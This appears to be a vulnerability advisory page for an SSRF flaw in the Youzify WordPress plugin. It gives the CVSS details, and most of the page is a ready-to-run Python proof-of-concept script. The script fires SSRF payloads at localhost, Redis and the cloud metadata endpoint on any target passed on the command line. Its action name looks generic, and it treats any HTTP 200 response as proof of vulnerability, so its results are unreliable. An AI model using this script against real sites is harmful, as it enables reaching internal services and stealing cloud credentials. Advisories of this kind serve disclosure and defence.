Server-Side Request Forgery (SSRF) vulnerability in Youzify Youzify youzify allows Server Side Request Forgery.This issue affects Youzify: from n/a through <= 1.3.7.
CVSS Details
CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Youzify Plugin <= 1.3.7
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2025-69014 Youzify SSRF PoC
# Target: WordPress site with Youzify plugin <= 1.3.7
def check_vulnerability(target_url):
"""
Check if target is vulnerable to SSRF via Youzify plugin
"""
# Common Youzify AJAX endpoints
endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-json/youzify/v1/'
]
# SSRF payload - attempt to access internal service
ssrf_payloads = [
{'action': 'youzify_ssrf_action', 'url': 'http://127.0.0.1:80/'},
{'action': 'youzify_ssrf_action', 'url': 'http://localhost:6379/'},
{'action': 'youzify_ssrf_action', 'url': 'http://169.254.169.254/latest/meta-data/'}
]
for endpoint in endpoints:
for payload in ssrf_payloads:
try:
response = requests.post(
target_url + endpoint,
data=payload,
timeout=10,
verify=False
)
if response.status_code == 200:
print(f"[!] Potential SSRF detected at {endpoint}")
print(f"[!] Response: {response.text[:200]}")
return True
except requests.exceptions.RequestException as e:
print(f"[*] Request failed: {e}")
print("[*] No obvious SSRF vulnerability detected")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-69014.py <target_url>")
print("Example: python cve-2025-69014.py http://example.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
check_vulnerability(target)